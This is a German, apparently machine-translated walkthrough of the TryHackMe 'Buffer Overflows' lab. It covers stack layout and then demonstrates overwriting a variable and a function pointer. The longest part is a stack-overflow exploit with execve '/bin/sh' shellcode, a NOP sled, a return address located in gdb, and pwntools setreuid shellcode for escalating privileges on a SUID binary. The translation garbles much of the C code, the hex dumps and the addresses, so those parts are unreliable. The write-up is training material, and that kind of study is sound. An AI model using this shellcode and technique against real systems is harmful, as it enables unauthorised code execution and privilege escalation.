[Tryhackme] Ich habe tatsächlich einen Pufferüberlauf ausprobiert! Pufferüberläufe schreiben

[Tryhackme] Ich habe tatsächlich einen Pufferüberlauf ausprobiert! Pufferüberläufe schreiben

Dieses Mal werden wir den Pufferüberlauf ausprobieren.
Es ist auch schwierig, eine Umgebung zu bauen, also werde ich im Raum unten auf Tryhackme studieren.
"Tryhackme-Buffer-Überflüsse: https://tryhackme.com/room/bof1 "

Bitte beachten Sie, dass die Erklärung Spoiler sind.

Empfohlene Nachschlagewerke
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Ipusiron
¥3,850 (Ab 21:11 am 07.08.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, überwacht von: Mantani Nobutaka, Übersetzung: Arai Yu, Übersetzung: Kakara Hirosei, Übersetzung: Murakami Ryo
¥3,520 (Ab 12:26 am 07.09.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Inhaltsverzeichnis

Einführung

Starten Sie zuerst die Zielmaschine.
Wählen Sie auf dem Bildschirm unten "Startmaschine".

Wenn die IP -Adresse angezeigt wird, ist das Start abgeschlossen.

Stellen Sie eine Verbindung zu unserem Netzwerk her, stellen Sie den Computer ein und melden Sie sich mit den oben genannten Anmeldeinformationen an.

Sobald Sie dies getan haben, können Sie SSH mit "user1: user1Password" zum Zielgerät können.

┌── (hacklab㉿hacklab)-[~] └─ $ ssh user1@10.10.165.6 Die Authentizität des Hosts '10 .10.165.6 (10.10.165.6) 'kann nicht festgelegt werden. ED25519 Key Fingerabdruck ist SHA256: ASF56RWYWWHWAW06LWZFQZSBY9+Gun1JRYMQRK3FP5DU. Dieser Schlüssel ist in keinen anderen Namen bekannt. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.165.6 '(ed25519) in die Liste der bekannten Hosts. user1@10.10.165.6s Passwort: Letzte Anmeldung: Mi 27. November 21:42:30 2019 Ab 82.34.52.37 __ | __ | _) _ | (/Amazon Linux 2 Ami ___ | \ ___ | https://aws.amazon.com/amazon-linux-2/ [user1@ip-10-165-6 ~] $ 

Antwort

Prozesslayout

Hier finden Sie eine Erklärung des Speicherlayouts innerhalb des Vorgangs.
Bitte lesen Sie die Erklärungen für jede Person.

Ich werde es als persönliche Notiz zusammenfassen.

  • Der Computer führt das Programm als Prozess aus.
  • Mehrere Prozesse können gleichzeitig ausgeführt werden, aber um genau zu sein, wechseln sie sehr schnell zwischen den Prozessen und scheinen gleichzeitig ausgeführt zu werden. (Kontextschalter)
  • User Stack: Enthält Informationen, die zum Ausführen des Programms erforderlich sind.
    Enthält aktuelle Programmzähler, gespeicherte Register und andere Informationen.
    Der Benutzerstapel erhöht sich nach unten. (Abschnitte des Nutzers Stapel sind unbenutztes Speicher)
  • Freigegebene Bibliotheksregionen: Wird verwendet, um statisch/dynamisch in den Programmen verwendete Bibliotheken zu verknüpfen.
  • Haufen: Erhöht oder nimmt dynamisch zunehmend ab, je nachdem, ob das Programm den Speicher dynamisch zugibt.
    Über dem Haufen gibt es nicht zugewiesene Abschnitte, die verwendet werden, wenn die Haufengröße zunimmt.
  • Programmcode und Daten (Code/Daten): Speichert die ausführbare Datei des Programms und initialisierte Variablen.


Wo wird dynamisch zugewiesener Speicher gespeichert?

Antwort


Wo sind Informationen zu Funktionen (z. B. lokale Argumente) gespeichert?

Antwort

X86-64 Verfahren

Lassen Sie uns als nächstes über Stapel erklären.
Daran war nichts Neues, also lesen Sie es selbst.


In welcher Richtung wächst der Stapel (l für niedrigere/h für höher)

Antwort

Mit welcher Anweisung wird Daten zum Stapel hinzugefügt?

Antwort

Verfahren fortgesetzt

Ich werde auch hier die Antwort veröffentlichen.


Welches Register speichert die Absenderadresse?

Antwort

Endiangess

Verschiedene Architekturen repräsentieren auf unterschiedliche Weise die gleichen hexadezimalen Zahlen. Dies nennt man Endialtess.

  • Little Endian: Der Wert wird vom am wenigsten signifikanten Byte zum bedeutendsten Byte gelegt.
  • Big Endian: Der Wert wird vom bedeutendsten Byte bis zum am wenigsten signifikanten Byte gelegt.


Lesen Sie das.

Antwort

Überschreiben von Variablen

Von hier an wird es ein praktisches Format sein.

Im Überlauf-1-Ordner gibt es "int-overflow.c", also werde ich einen Blick darauf werfen.

[user1@ip-10-10-165-6 overflow-1] $ cat int-overflow.c #include<stdlib.h> #enthalten<unistd.h> #enthalten<stdio.h> int main (int argc, char ** argv) {volatile int variable = 0; Zeichenpuffer [14]; erhält (Puffer); if (variable! = 0) {printf ("Sie haben den Wert der Variablen \ n") geändert; } else {printf ("Versuchen Sie es noch einmal? \ n"); }}

Der Stapel wird nach unten gespeichert, sodass wir annehmen können, dass es sich um "variable"> "Puffer" handelt.
Wenn Daten in einen Puffer kopiert oder geschrieben werden, werden die Daten von der unteren Adresse an die höhere Adresse geschrieben.

Die GET -Funktion gibt Daten von Standardeingaben in den Puffer ein, aber die GET -Funktion überprüft nicht die Länge, sodass es möglich ist, die Variablen zu überschreiben. (Mit anderen Worten, wenn Sie Daten von 14 Bytes oder mehr eingeben, können Sie die Variable überschreiben.)


Was ist die minimale Anzahl von Zeichen, die zum Überschreiben der Variablen erforderlich sind?

Ich werde es tatsächlich versuchen und es ausprobieren.
Versuchen Sie zunächst, 14 Bytes einzugeben, wie Sie es von früher erwarten würden.

[user1@ip-10-10-165-6 overflow-1] $ gcc int-overflow.c [user1@ip-10-165-6 overflow-1] $ ./a.out 01234567890123 Versuchen Sie es erneut?

Die Meldung "Versuche" wurde ausgegeben, sodass Sie sehen können, dass sie nicht überschrieben wurde.

Versuchen Sie als nächstes, 15 Bytes einzugeben.

[user1@ip-10-10-165-6 overflow-1] $ ./a.out 012345678901234 Sie haben den Wert der Variablen geändert

Die Ausgabe hat sich von früher geändert.
Es hat gezeigt, dass die Variable nicht 0 war, daher war es möglich, sie zu überschreiben!

Antwort

Überschreibungsfunktionszeiger

Versuchen Sie, den Funktionszeiger zu überschreiben und eine andere Funktion aufzurufen.
Schauen wir uns zunächst einen Blick auf "Func-pointer.c" in Overflow-2 an.

[user1@ip-10-10-22-183 overflow-2] $ cat func-pointer.c #include<stdlib.h> #enthalten<unistd.h> #enthalten<stdio.h> void Special () {printf ("Dies ist die spezielle Funktion \ n"); printf ("Du hast das gemacht, Freund! \ n"); } void normal () {printf ("Dies ist die normale Funktion \ n"); } void other () {printf ("Warum ist das hier?"); } int main (int argc, char ** argv) {volatile int (*new_ptr) () = normal; Zeichenpuffer [14]; erhält (Puffer); new_ptr (); }

Die Variable über dem Puffer ist kein Zeiger auf die Funktion, sondern der Speicherort der normalen Funktion.
Dieser Speicherort wird überschrieben.

Hier verwenden wir die GDB (Debugger).

[user1@ip-10-10-22-183 Überlauf-2] $ GDB-Func-P-Inter GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.AMZN2.0.3 Copyright (c) 2017 Free Software Foundation, Inc. Lizenz GPLV3+: GNU GPL Version 3 oder später<http://gnu.org/licenses/gpl.html> Dies ist kostenlose Software: Sie können sie frei ändern und umverteilen. Es gibt keine Garantie, sofern dies gesetzlich zulässig ist. Geben Sie für Details "Copying" und "WARNUNG" Zeigen Sie auf. Dieses GDB wurde als "x86_64-redhat-linux-gnu" konfiguriert. Geben Sie "Konfiguration anzeigen" für Konfigurationsdetails ein. Für Anweisungen zur Fehlerberichterstattung finden Sie unter:<http://www.gnu.org/software/gdb/bugs/> . Finden Sie das GDB -Handbuch und andere Dokumentationsressourcen online unter:<http://www.gnu.org/software/gdb/documentation/> . Geben Sie "Hilfe" ein, um Hilfe zu erhalten. Geben Sie "APROPOS Word" ein, um nach Befehlen zu suchen, die sich mit "Wort" beziehen ... Symbole aus Func-Zeiger lesen ... (keine Debugging-Symbole gefunden) ... fertig. (GDB) Setzen Sie die Spalten von Exec -Wrapper Env -u -Zeilen -u -Spalten

Führen Sie es zuerst aus und versuchen Sie, 13 Bytes einzugeben.

(GDB) Ausführen von Startprogramm:/home/user1/overflow-2/func-pointer fehlen separate debuginfos, Verwendung: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 1234567890123 Dies ist die normale Funktion.

Die normale Funktion läuft, oder?

Versuchen Sie als nächstes in 15 Bytes.

(GDB) Die Debugged des Programms wird bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-2/func-pointer 123456789012345 empfangenes Signal SIGSEGV, Segmentierungsfehler. 0x0000000400035 in ?? ()

Der richtige Rand der Adresse ist auf "35" gesetzt. (Hex -Code von "5"),
was bedeutet, dass die Rückgabezieladresse überschrieben wurde.

Versuchen wir nun in 20 Bytes.

(GDB) Die Debugged des Programms wird bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-2/func-pointer 1234567890123455555 empfangenes Signal SIGSEGV, Segmentierungsfehler. 0x0000353535 in ?? ()

Alle zurückgegebenen Werte wurden "35" überschrieben.

Versuchen Sie als nächstes in 21 Bytes.

(GDB) Die Debugged des Programms wird bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-2/func-pointer 12345678901234555555 empfangenes Signal SIGSEGV, Segmentierungsfehler. 0x00000004005da in Main ()

Dies ist ein anderer Ort, also ist es übertrieben.
Mit anderen Worten, ich habe herausgefunden, dass es 6 Bytes gibt, um die Adresse zu überschreiben.

Um es in die Adresse der speziellen Funktion umzuschreiben, schauen wir uns die Adresse der speziellen Funktion an.

(GDB) DESSEMBLE SPEZIAL -MUSSE DES Assembler -Code für Funktion Special: 0x0000000400567 <+0>: Push %RBP 0x00000400568 <+1>: MOV %RSP, %RBP 0x0000000040056b <+4>: MOV $ 0x00680, %EDI 0x00000000000000004005070 <+900680, %EDI 0x000000000000400005070 <+900680, %EDI 0x000000000000400005070 <+9>: CALLK 0x00000000000000400570 <+: prozent<puts@plt> 0x000000000400575 <+14>: mov $ 0x40069d,%EDI 0x0000000040057a <+19>: Callq 0x400460<puts@plt> 0x0000000040057f <+24>: NOP 0x00000000400580 <+25>: POP %RBP 0x0000000400581 <+26>: RETQ -Ende des Assembler -Dumps.

"0x00000000400567" ist die Adresse der speziellen Funktion.
Schreiben wir es nun in die oben gezeigte Adresse.

Hier, da es kleiner Endian ist, ist "00000400567" wie folgt:

\ x67 \ x05 \ x40 \ x00 \ x00 \ x00 \ x00

Konvertieren Sie dies als nächstes in ASCII -Code.

g^e@

Bitte beachten Sie, dass ^e "Strg+e" ist.

Sobald Sie den ASCII -Code kennen, leiten Sie ihn aus und schreiben Sie ihn neu.

(GDB) Die Debugged des Programms wird bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-2/func-pointer 12345678901234g^e@ Dies ist die besondere Funktion, die Sie getan haben, Freund! [Inferior 1 (Prozess 5144) Normalerweise verlassen]

Die besondere Funktion wurde ordnungsgemäß ausgeführt.


Rufen Sie die spezielle Funktion () auf (ruft die spezielle Funktion auf)

Es ist in Ordnung, einfach so, als hätten Sie die besondere Funktion früher angerufen.

[user1@ ip-10-10-22-183 overflow-2] $.

Antwort

Pufferüberläufe

Versuchen Sie als nächstes, den Puffer -Überlauf zu verwenden, um die Shell zu erhalten.
Hier wird es etwas komplizierter. . .

Gehen Sie zuerst zu Overflow-3 und überprüfen Sie "Buffer-Overflow.c".

[user1@ip-10-10-22-183 overflow-3] $ cat buffer-overflow.c #include<stdio.h> #enthalten<stdlib.h> void Copy_ARG (char *string) {char buffer [140]; Strcpy (Puffer, String); printf ("%S \ n", Puffer); Rückkehr 0; } int main (int argc, char ** argv) {printf ("Hier ist ein Programm, das Ihre Eingabe herausgibt \ n"); COPY_ARG (argv [1]); }

Sie können sehen, dass Strcpy () vom Befehlszeilenargument Argv [1] auf einen Puffer von 140Byte Länge kopiert.
Strcpy () überprüft nicht die Länge, daher ist es möglich, den Puffer zu überfließen.

Der Stack fügt eine Absenderadresse hinzu, aber der Puffer wird nach oben kopiert, sodass ein Pufferüberlauf die Absenderadresse überschreiben kann.
Steuern Sie, wo die Funktion zurückkehrt, und versuchen Sie, den Ausführungsfluss des Programms zu ändern.


Verwenden Sie die oben genannte Methode, um eine Shell zu öffnen und den Inhalt der geheimen.txt -Datei zu lesen.

Jetzt, genau wie zuvor, werden wir GDB verwenden.

[User1@IP-10-10-22-183 Überlauf-3] $ GDB Buffer-Overflow GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.AMZN2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. Lizenz GPLV3+: GNU GPL Version 3 oder späteres später 3 oder später<http://gnu.org/licenses/gpl.html> Dies ist kostenlose Software: Sie können sie frei ändern und umverteilen. Es gibt keine Garantie, sofern dies gesetzlich zulässig ist. Geben Sie für Details "Copying" und "WARNUNG" Zeigen Sie auf. Dieses GDB wurde als "x86_64-redhat-linux-gnu" konfiguriert. Geben Sie "Konfiguration anzeigen" für Konfigurationsdetails ein. Für Anweisungen zur Fehlerberichterstattung finden Sie unter:<http://www.gnu.org/software/gdb/bugs/> . Finden Sie das GDB -Handbuch und andere Dokumentationsressourcen online unter:<http://www.gnu.org/software/gdb/documentation/> . Geben Sie "Hilfe" ein, um Hilfe zu erhalten. Geben Sie "APROPOS Word" ein, um nach Befehlen zu suchen, die sich mit "Wort" beziehen ... Symbole aus Puffer-Overflow lesen ... (keine Debugging-Symbole gefunden) ... fertig.

Suchen Sie zunächst nach Beginn der Rückgabemittel.
Die Quelle sagt uns, dass Puffer 140 -Bytes beträgt.
Einige zwischen dem Puffer und der Rückgabeadresse werden durch ein "Ausrichtungsbyte" und ein RBP -Register (Speichernregister) gefüllt, und in einer X64 -Architektur gibt es 8 Bytes.

Mit anderen Worten, es sollte Offsets wie Puffer (140) + Ausrichtungsbyte (??) + RBP (8) sein.

Da es mindestens 148 Bytes sind, werden wir die Bytes von 148 Bytes erhöhen, bis die Rückgabeadresse überschrieben ist.
Versuchen Sie zunächst bei 148 Bytes.

. Aus Ihrem Eingang AAAAA -Programm erhalten Signal Sigsegv, Segmentierungsfehler. 0x00000000400595 in Main ()

Die letzte Rückgabeadresse hat nicht "41 (a)" und kann nicht überschrieben werden.
Wir werden es allmählich erhöhen und sehen, was passiert, wenn es 153 Bytes erreicht.

(GDB) Run $ (Python -c "Print ('A'*153)") Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-3/puffer-overflow $ (python -c "print ('a'*153)") Hier ist ein Programm, das Ihr Eingangs-AAAAA-Programm empfangen hat Signal Sigsegv, Segmentierungsfehler. 0x00000000400041 in ?? ()

Die Absenderadresse lautet "41". Sie können sehen, dass die Absenderadresse überschrieben wurde.
Versuchen Sie als nächstes in 158 Bytes, um das Ende der Absenderadresse zu sehen.

(GDB) Run $ (Python -c "Print ('A'*158)") Das Programm, das debugged wird, wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-3/puffer-overflow $ (python -c "print ('a'*158)") Hier ist ein Programm, das Ihr Eingangs-AAAAA-Programm empfangen hat Signal Sigsegv, Segmentierungsfehler. 0x00004141414141 in ?? ()

Die Absenderadresse ist mit "41" gefüllt, also werde ich versuchen, sie in 159 Bytes auszuführen.

(GDB) Run $ (Python -c "Print ('A'*159)") Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-3/puffer-overflow $ (python -c "print ('a'*159)") Hier ist ein Programm, das Ihr Eingangs-AAAAA-Programm empfangen hat Signal Sigsegv, Segmentierungsfehler. 0x00000000400563 in copy_arg ()

Natürlich war es zu viel und es ist eine andere Adresse.
Mit anderen Worten, wir haben festgestellt, dass 6 Bytes von 153 bis 158 die Absenderadressen sind.

Als nächstes verwenden wir den ShellCode im Puffer, damit die Rückgabeadresse auf diese Adresse verweist.
Beachten Sie, dass normaler, einfacher ShellCode nicht funktioniert und Sie die Beenden anrufen müssen, um Sigill -Fehler zu vermeiden.

Push $ 0x3b Pop %EAX XOR %RDX, %RDX MOVABS $ 0x68732F6E69622F2F, %R8 SHR $ 0x8, %R8 Push %R8 MOV %RSP, %RDI Push %RDX Push %RDI MOV %RSP, %RSI SYSCALL <---------------------

Die hexadezimale Version des Shellcode ist wie folgt:
Dies wurde aus dem Web gezogen. (Diesmal ziehe ich es von
hier Es gibt 40 Bytes.

\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xf \ x0f \ x05

Als nächstes werden wir die Adresse des hexadezimalen Shellcode nachschlagen.
Stellen Sie sicher, dass Junk (100Byte) + Shellcode (40Byte) + Junk (12Byte) + Rückgabeadresse (6Byte) = 158Byte. (Es gibt keinen großen Grund für die Position von Junk und Shellcode, daher ist es in Ordnung, das Byte zu ändern, wenn es innerhalb von 152 Bytes liegt.)

Im Moment werde ich für den Moment "A" für Junk und "B" für die Rücksenderadresse schreiben.

(GDB) Rennen Sie $ (Python -c "-Druck 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+'+'+' AM '*12+' Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-3/puffer-overflow $ (python -c "drucken '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x 41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'' Hier ist ein Programm, das Ihre Eingabe ausgibt.

Versuchen Sie als nächstes, den Speicherort abzugeben.

. 0x00007ffff 0x414141 0x414141 0x7fffffffffe258: 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe268: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe278: 0x414141 0x414141 0x414141 0x414141 0x7fffffffe288: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2a8: 0x414141 0x414141 0x414141 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x0000002 0x004005a0 0x0000000 0x7fffffffe308: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x0000400 0x00002 0x7fffffffffe328: 0x00400564 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000. 0xcc0a789a 0x00400450 0x0000000 0x7fffffffffe348: 0xffffe3e0 0x00000 0x000000 0x7fffffffffe358: 0x000000 0x000000 0x7ffffFFFFFFFFFFFEFFe: 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000Ming 0x7FFFFFFFFFE368: 0x31CE4EF5 0x33f59752 0x000000 0x000000 0x7fffffffe378: 0x000000 0x000000 0x0000000 0x7fffffffe388: 0x00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFEFFEFFFFFE130 0x007FFFFFFFFFFFFFFFFFFE13000X007FFFFFFFFFFFFFE130 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7fffffffffe3A8: 0x000000 0x0000000 0x0000000

Sie können sehen, dass Puffer in "3. Zeile von 0x7fffffffe248" beginnt und Shellcode in "4. Zeile von 0x7fffffffe2A8" beginnt.
"0x7FFFFFFFFFE2A8" ist die erste Adresse der Zeile, in der der Shellcode aufgeführt ist, und Sie müssen 4 Bytes pro Spalte hinzufügen.
Da der Shellcode die 4. Zeile hat, dh drei Zeilen zwischen, fügen wir 3*4Byte = 12Byte (OXC) hinzu und können sehen, dass 0x7fffffffe2A8+oxc = 0x7ffffffffffFFFE2B4 die Startadresse des ShellCode ist.

Manchmal verschiebt sich jedoch ein wenig Speicher und Adressen können sich mit jedem Lauf ändern.
Dies kann gelöst werden, indem der Müll vor dem Shellcode mit "NOP (\ x90)" anstelle von "a" gefüllt wird.

Ein NOP ist eine Anweisung, die nichts tut und übersprungen wird.
Es überspringt alle NOPS und führt den Shellcode aus, sodass Sie nicht die genaue Adresse erhalten müssen. Sie erhalten die Adresse nur mit NOPS und führen sie aus.
Mit anderen Worten, es gibt kein Problem, auch wenn sich der Speicher geringfügig ändert.

Ändern Sie den Müll vor dem Shellcode von "A" nach "\ x90".

(GDB) Rennen Sie $ (Python -c "-Druck '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+'+'+'+'+'+'+'+' Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-3/puffer-overflow $ (python -c "drucken '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x 41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'\ · \ \ \ \ x0f \ x05'+'+'+'' Hier ist ein Programm, das Ihre Eingabe ausgibt.

Lassen Sie den Speicherort erneut ab.

. 0x00007ffff 0x90909090 0x909090 0x7fffffffffe258: 0x909090 0x9090 0x909090 0x7FFFFFFFFFFFFFFFFFFFFE268: 0x9090 0x909090 0x7FFFFFFFFFFFFFFE268: 0x909090 0x7FFFFFFFFFFFFE268: 0x909090 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x90909090 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x7fffffffffffe2e8: 0x424242 0x004242 0xfffffe3e8 0x00007ffffffffffffffffffffffFFFFFFE2F8: 0x0000000 0x0000002 0x004005A0 0x00000 0x00000 0x00000 0x00000 0xfff308: 0xf7a4302aa00000 0x00000 0x00000 0xfffFFFFFFFFFFFE308: 0xf7A4302A. 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x0000400 0x00002 0x7fffffffffe328: 0x00400564 0x000000 0x000000 0x00000000000000 × 7FFFFFFFFFFFFFFFFFFFFFE338: 0x000000000000B 0x000000 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x000000 0x7fffffffe358: 0x0000000 0x000000 0xcfae8e0b 0x7bb16a78 0x7fffffffe368: 0x564a8e0b 0x7bb17acf 0x000000 0x000000 0x7FFFFFFFFFE378: 0x000000 0x0000000 0x000000 0x0000000 0x7fffffffe388: 0xfffffe400 0x007ffffffffffffffffffffrt 0xf7fffe130 0x7FFFFFFFFFFFE3A8: 0x000000 0x0000000 0x0000000

Der Shellcode ist "4. Spalte von 0x7fffffffffe2A8", kann jedoch überall mit dem vorherigen "90" gefüllt sein. Dieses Mal werde ich "0x7fffffffffffe298" als Rückgabeadresse verwenden, überspringen und den Shellcode ausführen.

Die Absenderadresse lautet "0x7FFFFFFFFFe298" ⇒ "0x98e2ffffff7f" ⇒ "\ x98 \ xe2 \ xff \ xff \ xff \ xff \ x7f".

Versuchen Sie, "B" in der Absenderadresse durch "\ x98 \ xe2 \ xff \ xff \ xff \ xff \ x7f" zu ersetzen und es auszuführen.

(GDB) Rennen Sie $ (Python -c "-Druck '\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2 f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x 48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '*12+' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '")) Startprogramm:/home/user1/overflow-3/puffer-overflow $ (python -c "drucken '\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*12+' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '") Hier ist ein Programm, das Ihre Eingabe ausgibt. 

Sie haben die Shell erfolgreich erworben.
Wenn Sie den Benutzer mit WHOMAMI überprüfen, werden Sie feststellen, dass es sich um Benutzer1 handelt.

Sh-4,2 $ Whoami Ablösung nach der Gabel von Child Process 5. User1

Ich hatte Secret.txt, also habe ich Cat ausprobiert, aber es scheint, dass es nicht mit User1 funktioniert.

SH-4.2 $ LS -l-Ablösung nach Gabel aus dem untergeordneten Prozess 5380. Insgesamt 20 -rwsrwxr-X 1 User2 User2 8264 Sep 2 2019 Buffer-Overflow -RW-RW-R-1 User1 User1 285 Sep 2 2019 Buffer-Overflow.c.C.C.C.C.C.C.C. -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Um es user2 zu machen2, müssen Sie SetReuid zu Ihrem Shellcode hinzufügen.
Schauen wir uns zunächst die UID von User2 an.

[user1@ip-10-10-22-183 overflow-3]$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin LP: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin sync: x: 5: 0: sync:/sbin:/bin/sync stilldown: x: 6: 0: stilldown:/sbin:/sbin/stilldown: x: 7: 0: halt:/sbin:/sbin/SBIN/SBIN/SBIN/SBIN: Mail: x: 8: 12: mail:/var/spool/mail:/sbin/nologin operator: x: 11: 0: operator:/root:/sbin/nologin games: x: 12: 100: games:/usr/games:/sbin/nologin ftp: x: 14: 50: ftp user:/var/ftp:/sbin/nologin/nologin/nologin Niemand: x: 99: 99: Niemand:/:/sbin/nologin systemd-network: x: 192: 192: systemd network Management:/:/sbin/nologin dbus: x: 81: 81: system message bus:/:/sbin/nologin rpc: x: 32: 32: rpcbin:/rpcbin/sbin libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpcuser:x:29:29:RPC Service Benutzer:/var/lib/nfs:/sbin/nologin nfsnobody: x: 65534: 65534: anonymous nfs user:/var/lib/nfs:/sbin/nologin ec2-i-instance-connect: x: 998: 996 ::/home/ec2-instance-instance:/sbin/sbin/sbin/sbin/sbin/sbin/sbin/nologin: postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/sbin/nologin ec2-user:x:1000:1000:EC2 Default Benutzer:/home/ec2-user:/bin/bash user1: x: 1001: 1001 ::/home/user1:/bin/bash user2: x: 1002: 1002 ::/home/user2:/bin/bash user3: x: 1003: 1003 ::/home/user3:/bin/bash/bash/bash

Ich fand heraus, dass die UID von User2 "1002" ist.

Als nächstes werden wir Pwntools verwenden, um den Hexadezimalcode für den Teil setReuid () zu generieren.

┌──(hacklab㉿hacklab)-[~] └─$ pwn shellcraft -fd amd64.linux.setreuid 1002 \x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

Fügen Sie dies zum Beginn des Shellcode hinzu.
Da es 14 Bytes sind, sollten Sie den Müll auch vor dem Shellcode auf 100-14 = 86 Bytes ändern.
Ich werde es versuchen.

